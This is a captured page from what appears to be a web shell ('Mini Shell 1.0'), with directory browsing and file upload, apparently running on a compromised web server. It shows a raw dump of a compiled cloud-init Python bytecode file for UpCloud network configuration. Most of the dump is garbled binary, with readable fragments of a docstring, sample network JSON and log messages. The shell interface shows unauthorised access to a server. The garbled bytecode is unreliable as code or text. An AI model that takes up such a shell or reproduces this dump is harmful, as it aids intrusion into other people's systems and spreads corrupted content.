HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/upcloud.cpython-311.pyc
�

܍~c��x�ddlZddlmZddlmZddlmZddlmZeje	��Z
d�Zd�Zdd
�Z
d�ZdS)
�N)�dmi)�log)�net)�
url_helperc
��d�}g}tj��}t�d|��|�d��D�]}t�d|��|�d��}||vrtd|�d|�����|�d��}|�|��}t�d	||||�d
����d||d�}g}	|�d
��D]6}
||
|�d����}|	�|���7|	|d<|�|����|�d��rYt�d|�d����|�d|�d��d���d|d�S)aC

    Convert the UpCloud network metadata description into
    Cloud-init's version 1 netconfig format.

    Example JSON:
    {
      "interfaces": [
        {
          "index": 1,
          "ip_addresses": [
            {
              "address": "94.237.105.53",
              "dhcp": true,
              "dns": [
                "94.237.127.9",
                "94.237.40.9"
              ],
              "family": "IPv4",
              "floating": false,
              "gateway": "94.237.104.1",
              "network": "94.237.104.0/22"
            },
            {
              "address": "94.237.105.50",
              "dhcp": false,
              "dns": [],
              "family": "IPv4",
              "floating": true,
              "gateway": "",
              "network": "94.237.105.50/32"
            }
          ],
          "mac": "32:d5:ba:4a:36:e7",
          "network_id": "031457f4-0f8c-483c-96f2-eccede02909c",
          "type": "public"
        },
        {
          "index": 2,
          "ip_addresses": [
            {
              "address": "10.6.3.27",
              "dhcp": true,
              "dns": [],
              "family": "IPv4",
              "floating": false,
              "gateway": "10.6.0.1",
              "network": "10.6.0.0/22"
            }
          ],
          "mac": "32:d5:ba:4a:84:cc",
          "network_id": "03d82553-5bea-4132-b29a-e1cf67ec2dd1",
          "type": "utility"
        },
        {
          "index": 3,
          "ip_addresses": [
            {
              "address": "2a04:3545:1000:720:38d6:baff:fe4a:63e7",
              "dhcp": true,
              "dns": [
                "2a04:3540:53::1",
                "2a04:3544:53::1"
              ],
              "family": "IPv6",
              "floating": false,
              "gateway": "2a04:3545:1000:720::1",
              "network": "2a04:3545:1000:720::/64"
            }
          ],
          "mac": "32:d5:ba:4a:63:e7",
          "network_id": "03000000-0000-4000-8046-000000000000",
          "type": "public"
        },
        {
          "index": 4,
          "ip_addresses": [
            {
              "address": "172.30.1.10",
              "dhcp": true,
              "dns": [],
              "family": "IPv4",
              "floating": false,
              "gateway": "172.30.1.1",
              "network": "172.30.1.0/24"
            }
          ],
          "mac": "32:d5:ba:4a:8a:e1",
          "network_id": "035a0a4a-77b4-4de5-820d-189fc8135714",
          "type": "private"
        }
      ],
      "dns": [
        "94.237.127.9",
        "94.237.40.9"
      ]
    }
    c�T�|�d��r!d}|�d��dkrd}d|iSd}|�d��dkrd}|d|�d	��d
�}|�d��r|�d��|d<d|�d
��vr1|�d
���d��d|d<||�d��kr-|�d��r|�d��|d<|S)N�dhcp�family�IPv6zipv6_dhcpv6-stateless�type�static�static6�auto�address)r�controlr�gateway�/�network��netmask�dns�dns_nameservers)�get�split)�ip_addrr�	dhcp_type�static_type�subparts     �C/usr/lib/python3/dist-packages/cloudinit/sources/helpers/upcloud.py�_get_subnet_configz8convert_to_network_config_v1.<locals>._get_subnet_configrs6���;�;�v���	'��I��{�{�8�$�$��.�.�4�	��I�&�&����;�;�x� � �F�*�*�#�K����{�{�9�-�-�
�
���;�;�y�!�!�	8�!(���Y�!7�!7�G�I���'�+�+�i�(�(�(�(�!(���Y�!7�!7�!=�!=�c�!B�!B�1�!E�G�I���'�+�+�e�$�$�$�$����U�);�);�$�)0���U�);�);�G�%�&���zNIC mapping: %s�
interfaceszConsidering %s�macz3Did not find network interface on system with mac 'z'. Cannot apply configuration: rz4Found %s interface '%s' with address '%s' (index %d)�index�physical)r�name�mac_address�ip_addressesr�subnetszSetting DNS nameservers to %s�
nameserver)rrr)�version�config)�cloudnet�get_interfaces_by_mac�LOG�debugr�RuntimeError�append)r,r �nic_configs�macs_to_interfaces�	raw_ifacer'�
iface_type�
sysfs_name�	interfacer)�
ip_address�sub_parts            r�convert_to_network_config_v1r;s	��F���:�K�!�7�9�9���I�I��!3�4�4�4��Z�Z��-�-�"&�"&�	��	�	�"�I�.�.�.��m�m�E�*�*���0�0�0��,��;�;�	�	�+���
��]�]�6�*�*�
�'�+�+�K�8�8�
��	�	�B�����M�M�'�"�"�	
�	
�	
���&�
�
�	���#�-�-��7�7�	%�	%�J�)�)�*�f�j�j��6G�6G�H�H�H��N�N�8�$�$�$�$�&�	�)�����9�%�%�%�%�
�z�z�%���
��	�	�1�6�:�:�e�3D�3D�E�E�E����!�f�j�j��.?�.?�@�@�	
�	
�	
��K�0�0�0r!c� �t|��S)N)r;)r,s r�convert_network_configr=�s��'��/�/�/r!��c���tj||||���}|���std|z���t	j|j�����S)N)�timeout�sec_between�retrieszunable to read metadata at %s)r�readurl�okr1�json�loads�contents�decode)�urlrArBrC�responses     r�
read_metadatarL�sh���!��W�+�w����H��;�;�=�=�B��:�S�@�A�A�A��:�h�'�.�.�0�0�1�1�1r!c��tjd��}|dkrdStjd��}|rt�d|��n+d}t�|��t|���d|fS)Nzsystem-manufacturer�UpCloud)FNzsystem-uuidz2system identified via SMBIOS as UpCloud server: %sz�system identified via SMBIOS as a UpCloud server, but did not provide an ID. Please contact support viahttps://hub.upcloud.com or via email with support@upcloud.comT)r�
read_dmi_datar/r0�criticalr1)�vendor_name�server_uuid�msgs   r�read_sysinforT�s����#�$9�:�:�K��i����{��#�M�2�2�K�� ��	�	�@�+�	
�	
�	
�	
�

L�	�
	���S�����3�������r!)r>r>r?)rF�	cloudinitrr�loggingrr-r�	getLogger�__name__r/r;r=rLrT�r!r�<module>rZs���
����������$�$�$�$�$�$�%�%�%�%�%�%� � � � � � ��g���!�!��n1�n1�n1�b0�0�0�2�2�2�2�����r!